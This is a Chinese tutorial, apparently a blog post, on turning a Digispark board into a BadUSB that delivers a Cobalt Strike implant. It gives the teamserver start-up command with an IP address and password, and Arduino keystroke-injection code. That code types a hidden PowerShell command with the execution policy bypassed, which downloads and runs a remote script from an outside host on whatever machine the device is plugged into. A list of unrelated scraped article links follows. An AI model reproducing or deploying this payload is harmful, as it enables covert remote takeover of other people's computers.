0X00、工具准备

digispark开发板。

淘宝连接:https://m.tb.cn/h.VK7vwjy?sm=d85844

0X01、安装Arduino IDE环境

1、安装 arduino 的 IDE。

下载地址:https://www.arduino.cc/en/Main/Software

新版下载:https://downloads.arduino.cc/arduino-1.8.3-windows.zip

2、下载驱动

链接:http://pan.baidu.com/s/1i4K10dn 密码:ilaf

3、驱动安装

如果是 64 位操作系统请选择 DPinst64.exe,否则请选择 DPinst.exe.

4、配置环境

点击文件--首选项

附加开发板管理器网址:http://digistump.com/package_digistump_index.json

点击工具--开发板管理器

等待下载完成,下载可能需要挂国外代理。

找到这个进行安装

安装完成后开发板选择这个

0X02、使用CobaltStrike生成木马

1、启动CS

服务器:

通过screen启动cs服务端

screen
./teamserver 129.204.113.202 admin888

ctrl + a+d 将当前程序放到后台。

客户端启动

java -Dfile.encoding=UTF-8 -javaagent:CobaltStrikeCN.jar -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar

客户端连接

2、生成木马

配置监听器:

使用CS生成powershell的脚本。

保存到桌面

3、放到远程服务器备用

将脚本上传到HTTP服务器备用

0X03、BadUsb制作

代码如下:

#include "DigiKeyboard.h"
#define KEY_ESC 41
#define KEY_BACKSPACE 42
#define KEY_TAB 43
#define KEY_PRT_SCR 70
#define KEY_DELETE 76 void setup() { DigiKeyboard.delay(5000);
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(3000);
DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
DigiKeyboard.delay(1000);
DigiKeyboard.print(F("powershell -WindowStyle Hidden -NoLogo -executionpolicy bypass IEX(New-Object Net.WebClient).DownloadString('http://qianxiao996.cn/badusb.ps1');"));
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(750);
DigiKeyboard.sendKeyStroke(KEY_ENTER); }
void loop() {
}

功能是下载打开windwos+r 运行窗口,输入命令执行。

点击上传,在60s之内插入你的badusb。

上传成功。

插哪哪上线!

0X04、参考链接

https://mp.weixin.qq.com/s/3lkdXK_g-_xcf378FNly1A

https://mp.weixin.qq.com/s/UROx1fJOmMVbmH_-UasFEQ

使用digispark制作一个BadUSB的更多相关文章

  1. 利用Arduino快速制作Teensy BadUSB

    0×00 介绍 本文想以较简单的方式,叙述Arduino版BadUSB的制作过程.我知道在这之前已经有很多前辈都写过相关的文章,但小白可能还有点迷糊,所以这篇文章是快速带大家入门了解,我也是菜B大神不 ...

  2. 使用CocosSharp制作一个游戏 - CocosSharp中文教程

    注:本教程翻译自官方<Walkthrough - Building a game with CocosSharp>,官方教程有很多地方说的不够详细,或者代码不全,导致无法继续,本人在看了G ...

  3. ios学习-制作一个浏览图片的Demo

    一.项目要求:制作一个浏览图片的Demo,要求包含夜间模式,以及改变图片大小,能够显示不同的图片描述 二.开发步骤: 1.在storyboard上添加一个空白的View,然后添加”设置“按钮,添加im ...

  4. iOS学习——制作一个小型加法计算器

    一.项目要求:制作一个加法计算器.在第1个和第2个文本框中输入两个整数,然后点击“计算”按钮,可将计算结果显示在第3个文本框中. 二.开发步骤: 1.搭建UI界面 2.监听按钮的点击事件 3.获取文本 ...

  5. 制作一个简洁的jquery插件

    原文:http://mp.weixin.qq.com/s?__biz=MzAxMzgwNDU3Mg==&mid=401571467&idx=1&sn=08cb00963e6ef ...

  6. 用Phaser来制作一个html5游戏——flappy bird (二)

    在上一篇教程中我们完成了boot.preload.menu这三个state的制作,下面我们就要进入本游戏最核心的一个state的制作了.play这个state的代码比较多,我不会一一进行说明,只会把一 ...

  7. 用Phaser来制作一个html5游戏——flappy bird (一)

    Phaser是一个简单易用且功能强大的html5游戏框架,利用它可以很轻松的开发出一个html5游戏.在这篇文章中我就教大家如何用Phaser来制作一个前段时间很火爆的游戏:Flappy Bird,希 ...

  8. Android学习笔记(十二)——实战:制作一个聊天界面

    //此系列博文是<第一行Android代码>的学习笔记,如有错漏,欢迎指正! 运用简单的布局知识,我们可以来尝试制作一个聊天界面. 一.制作 Nine-Patch 图片 : Nine-Pa ...

  9. 用ultraISO 制作一个MSdos启动软盘镜像

    见过软盘,但是没用过,在虚拟机里试试. 磁带,软盘,光盘,硬盘…… 储存介质一代代更新,看到的img.iso文件都是叫做镜像文件(image file ).image 即图片照片,所谓的image f ...

随机推荐

  1. python篇第10天【While 循环语句】

    while 语句时还有另外两个重要的命令 continue,break 来跳过循环,continue 用于跳过该次循环,break 则是用于退出循环,此外"判断条件"还可以是个常值 ...

  2. Note -「线性规划」学习笔记

    \(\mathcal{Definition}\)   线性规划(Linear Programming, LP)形式上是对如下问题的描述: \[\operatorname{maximize}~~~~z= ...

  3. ASP.NET Core 6框架揭秘实例演示[06]:依赖注入框架设计细节

    由于依赖注入具有举足轻重的作用,所以<ASP.NET Core 6框架揭秘>的绝大部分章节都会涉及这一主题.本书第3章对.NET原生的依赖注入框架的设计和实现进行了系统的介绍,其中设计一些 ...

  4. MyBatis封装JDBC具体实现

    关于xml等解析的工具基本均包含在org.apache.ibatis.builder包中,有包名可知基本使用建造者模式.这个包的主要功能两个: 1.解析XML配置文件和映射文件,xml子包中: 2.解 ...

  5. corn定时任务

    (1) Seconds Minutes Hours DayofMonth Month DayofWeek Year (2)Seconds Minutes Hours DayofMonth Month ...

  6. OC之判断数组最大最小值

    超简单的筛选方法 array为你筛选的数组 NSNumber * max = [Array valueForKeyPath:@"@max.floatValue"]; NSNumbe ...

  7. mysql is not null 执行效率低

    a表字段类型为int b表字段类型为varchar a left join b时如果查询条件是is not null,效率很快,is  null 效率很低 后来两者改为同类型 int,效率很高

  8. Shell 函数带中横线问题排查

    Shell 中编写的函数,如果函数名中带了中横线,在使用 /bin/sh 执行时会报错. ➜ subprocess git:(master) ✗ cat kubectl.sh _kubectl_api ...

  9. python-利用json模块处理json数据几个函数总结

    1.前言 json是一种轻量级的数据交换格式,它是JavaScript的子集,易于人阅读和编写. 前端和后端进行数据交互,其实就是JS和Python进行数据交互. 接口间或者前后端间的语言不一致,不同 ...

  10. 录毛线脚本,直接手写接口最简洁的LoadRunner性能测试脚本(含jmeter脚本)

    近日翻看了下招聘信息,很多都要求loadrunner和jmeter这两款工具,毕竟是性能测试的主流客户端并发工具. 录制的问题 做性能脚本是性能测试的基本功,loadrunner和jmeter这两款工 ...